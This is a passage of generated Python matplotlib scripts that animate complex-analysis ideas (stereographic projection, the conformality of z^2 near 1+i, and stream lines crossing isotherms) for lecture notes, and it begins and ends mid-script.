px = fig.add_axes([0.53, 0.08, 0.44, 0.76])
ax.set_xlim(-1, 1); ax.set_ylim(-1, 1); ax.set_zlim(-1, 1)
ax.set_box_aspect((1, 1, 1), zoom=1.3); ax.view_init(ELEV, AZIM); ax.axis("off")
F, B = front_back(np.c_[np.cos(u), np.sin(u), 0 * u])
ax.plot(*F.T, color="k", lw=1.1); ax.plot(*B.T, color="k", lw=0.6, ls=":", alpha=0.5)
ax.plot([-1.3, 1.3], [0, 0], [0, 0], color="0.5", lw=0.8, ls="--"); ax.text(1.35, 0, 0, "$\\xi_1$", fontsize=11)
ax.scatter(0, 0, 1, color="k", s=28, depthshade=False); ax.text(0.06, 0, 1.1, "$N$", fontsize=13)
px.set_xlim(-L, L); px.set_ylim(-L, L); px.set_aspect("equal"); px.tick_params(labelsize=8)
px.axhline(0, color="0.85", lw=0.8); px.axvline(0, color="0.85", lw=0.8)
px.plot(np.cos(u), np.sin(u), color="k", lw=1.1)
live = []
title = fig.text(0.5, 0.95, "", ha="center", fontsize=13)
fig.text(0.5, 0.905, "the sphere turns about the $\\xi_1$-axis; its great circles project to circles "
         "through $\\Pi(P)$ and $\\Pi(-P)=-1/\\overline{\\Pi(P)}$", ha="center", fontsize=10.5, color="0.35")


def frame(k):
    t = ANG[k % NF]
    Rt = rot(t)
    while live:
        live.pop().remove()
    for C, col in NET:
        Q = C @ Rt.T
        F, B = front_back(Q)
        live.extend(ax.plot(*F.T, color=col, lw=1.8)); live.extend(ax.plot(*B.T, color=col, lw=0.8, ls=":", alpha=0.6))
        w = cut(proj(Q))
        live.extend(px.plot(w.real, w.imag, color=col, lw=1.6))
    for p in (Rt @ P0, -(Rt @ P0)):
        live.append(ax.scatter(*p, color="k", s=26, depthshade=False))
        q = proj(p)
        if abs(q) < L:
            live.append(px.scatter([q.real], [q.imag], color="k", s=26, zorder=5))
    title.set_text("turning the sphere by %d$^\\circ$: great circles stay circles in the plane" % round(np.degrees(t)))


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=NF, interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(0)
    fig.savefig("stereo3_turn_poster.pdf")



"""Conformality at a point: $z^2$ near $z_0=1+i$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 13.10 and plate, p. 66 (ch13-differentiability.tex:192, 228); prose ch13:221
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^2$'
TITLE = '$w=(1-s)\\,z+s\\,z^{2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0.85, 1.15, 0.85, 1.15, 5, 5)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Conformality at a point: $z^2$ near $z_0=1+i$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 13.10 and plate, p. 66 (ch13-differentiability.tex:192, 228); prose ch13:221
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s) - pw(1+1j, 1+s) + (1+1j)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (0.35, 1.65, 0.35, 1.65)
SUB = "seen from $z_0$:\nthe small grid turns by $\\arg f'(z_0)=45^\\circ$ and stretches by $|f'(z_0)|=2\\sqrt{2}$"
TITLE = '$w=z^{1+s}-z_0^{1+s}+z_0,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0.85, 1.15, 0.85, 1.15, 5, 5)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Conformality at a point: $z^2$ near $z_0=1+i$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 13.10 and plate, p. 66 (ch13-differentiability.tex:192, 228); prose ch13:221
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s) - pw(1+1j, 1+s) + (1+1j)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (0.35, 1.65, 0.35, 1.65)
SUB = "seen from $z_0$: the small grid turns by $\\arg f'(z_0)=45^\\circ$ and stretches by $|f'(z_0)|=2\\sqrt{2}$"
TITLE = '$w=z^{1+s}-z_0^{1+s}+z_0,\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (0.85, 1.15, 0.85, 1.15, 4, 4)
HILITE = [5, 10]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Stream lines and isotherms (Theorem 15.11, Remark 15.12, Fig. 15.1, Example 15.13).
Part 1: W=z^2, isotherms phi=x^2-y^2=c fixed; particles move with velocity -grad phi = -conj(W') and trace the
stream lines 2xy=c; a right-angle mark appears at each crossing, the angle is measured from the drawn curves.
Part 2: W turns into e^{-i theta}z^2, theta: 0 -> pi/2; at the end W=-iz^2, phi=2xy (Example 15.13): walls at
temperature 0, heat flows along x^2-y^2=c into the walls. Below: temperature and speed |W'|=2|z| of one particle.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
ISO, FL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


V = 2.45; LEV = np.array([-4, -2.5, -1.2, -0.4, 0, 0.4, 1.2, 2.5, 4.0])
sq2 = np.sqrt(2); s_ = np.linspace(-3, 3, 400)


def hyper(c):                                  # the level set Re(zeta^2)=c in the zeta-plane, as polylines
    if c == 0:
        return [np.linspace(-5, 5, 2) * (1 + 1j), np.linspace(-5, 5, 2) * (1 - 1j)]
    a = np.sqrt(abs(c)); h = [a * np.cosh(s_) + 1j * a * np.sinh(s_)]; h.append(-h[0])
    return h if c > 0 else [1j * p for p in h]


CURV = [(c, p) for c in LEV for p in hyper(c)]
TT = np.linspace(0, 1.6, 801)
# part 1 (W=z^2): zeta=z, x=x0 e^{-2t}, y=y0 e^{2t}; part 2 (W=-iz^2): z=e^{i pi/4} zeta, xi=xi0 e^{-2t}, eta=eta0 e^{2t}
Z1 = [2.35 * np.exp(-2 * TT) + 1j * y0 * np.exp(2 * TT) for y0 in (0.1, 0.25, 0.45, 0.7, 1.0, 1.4)]
X0 = 3.3 / sq2
Z2 = []
for e0 in (0.25, -0.25, 0.6, -0.6, 1.0, -1.0, 0.0):
    z = np.exp(0.25j * np.pi) * (X0 * np.exp(-2 * TT) + 1j * e0 * np.exp(2 * TT))
    assert np.ptp((-1j * z * z).imag) < 1e-9
    bad = (z.real < 0) | (z.imag < 0); n = np.argmax(bad) if bad.any() else len(z)
    if bad.any():                              # stop at the wall (linear interpolation to the crossing)
        a, b = z[n - 1], z[n]; w = min(a.real, a.imag) / (min(a.real, a.imag) - min(b.real, b.imag)); z[n:] = a + w * (b - a)
    Z2.append(z)
PHI = [lambda z: (z * z).real, lambda z: (-1j * z * z).real]
assert all(np.ptp((z * z).imag) < 1e-9 for z in Z1)          # the paths are stream lines: psi = Im W is constant


def crossings(z, phi, lev):                    # points where the trace crosses the drawn isotherms, and the angles
    out = []; f = phi(z)
    for c in lev:
        i = np.nonzero(np.diff(np.sign(f - c)) != 0)[0]
        if len(i) and abs(z[i[0] + 1] - z[i[0]]) > 1e-9:
            i = i[0]; p = z[i] + (c - f[i]) / (f[i + 1] - f[i]) * (z[i + 1] - z[i])
            out.append((i, p, c))
    return out


def angle(tr, p, iso):                         # angle between the trace chord and the nearest isotherm chord
    j = np.argmin(abs(iso - p)); u = iso[j + 1] - iso[j - 1]; v = tr
    return np.degrees(np.arccos(abs((u * np.conj(v)).real) / abs(u) / abs(v)))


fine = lambda c, rot: [rot * (np.sqrt(abs(c)) * (np.cosh(q) + 1j * np.sinh(q)) * (1 if c > 0 else 1j) * sg)
                       for sg in (1, -1) for q in [np.linspace(-3, 3, 20001)]]
MARK = []
for part, (ZZ, rot) in enumerate(((Z1, 1), (Z2, np.exp(0.25j * np.pi)))):
    M = []
    for n, z in enumerate(ZZ):
        for i, p, c in crossings(z, PHI[part], [c for c in LEV if c != 0]):
            iso = min(fine(c, rot), key=lambda h: abs(h - p).min()); tr = z[i + 1] - z[i]
            a = angle(tr, p, iso); assert abs(a - 90) < 0.3, a
            M.append((n, i, p, tr / abs(tr), a))
    MARK.append(M)
S = [("A", 0, 0.0)] * 14 + [("A", i, 0.0) for i in range(0, 801, 11)] + [("A", 800, 0.0)] * 22
S += [("M", 800, ease(i / 29)) for i in range(30)] + [("B", 0, 1.0)] * 12
S += [("B", i, 1.0) for i in range(0, 801, 11)] + [("B", 800, 1.0)] * 26
SCHED = S

fig = plt.figure(figsize=(7.4, 10.5))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.912, "", ha="center", va="top", fontsize=11.5, color="0.3", linespacing=1.5)
ax = fig.add_axes([0.12, 0.40, 0.76, 0.455]); ax.set_aspect("equal"); ax.set_xlim(0, V); ax.set_ylim(0, V)
ax.tick_params(labelsize=10)
g = np.linspace(0, V, 90); GZ = g[None, :] + 1j * g[:, None]
IM = ax.imshow(np.zeros(GZ.shape), extent=(0, V, 0, V), origin="lower", cmap="coolwarm", vmin=-7, vmax=7, alpha=0.3)
LN = [ax.plot([], [], color=ISO, lw=1.3)[0] for _ in CURV]
axg = fig.add_axes([0.12, 0.13, 0.76, 0.2]); axg.set_xlim(0, 1.6); axg.set_ylim(-7, 7); axg.tick_params(labelsize=10)
axg.axhline(0, color="0.8", lw=0.8); axg.set_xlabel("time $t$", labelpad=0, fontsize=11)
GT, = axg.plot([], [], color="firebrick", lw=2, label=r"temperature $\phi$ at the particle")
GS, = axg.plot([], [], color="k", lw=2, label=r"speed $|W'(z)|=2|z|$")
axg.legend(loc="lower left", fontsize=10.5, ncol=2)
L1 = [fig.text(0.06, y, t, fontsize=11.5, va="center") for y, t in ((0.055, "ringed particle:"), (0.025, ""))]
V1 = [fig.text(x, y, "", fontsize=11.5, va="center") for x, y in ((0.25, 0.055), (0.83, 0.025))]
TR, = ax.plot([], [], color=FL, lw=1.8); MK, = ax.plot([], [], color="k", lw=1)
TRK = [0, 0]


def rot(th):
    return np.exp(0.5j * th)


def frame(k):
    clear()
    ph, i, th = SCHED[k]; part = 0 if ph == "A" else 1; r = rot(th * np.pi / 2)
    phi = lambda z: (np.exp(-0.5j * np.pi * th) * z * z).real
    IM.set_data(phi(GZ))
    for h, (c, p) in zip(LN, CURV):
        q = r * p; h.set_data(q.real, q.imag)
    if ph == "A":
        title.set_text(r"Stream lines cross isotherms at right angles (Theorem 15.11)")
        sub.set_text(r"$W=z^{2}$ (Fig. 15.1). Teal: isotherms $\phi=x^{2}-y^{2}=c$ (red warm, blue cold)." + "\n" +
                     r"Heat moves with velocity $-\nabla\phi=-\overline{W'}$ (Remark 15.12), along $\psi=2xy=c$")
    elif ph == "M":
        title.set_text(r"Turning the potential: $W=e^{-i\theta}z^{2}$, $\theta$ from $0$ to $\pi/2$")
        sub.set_text(r"$\theta=%.2f$: every level curve turns by $\theta/2$" % (th * np.pi / 2) + "\n" +
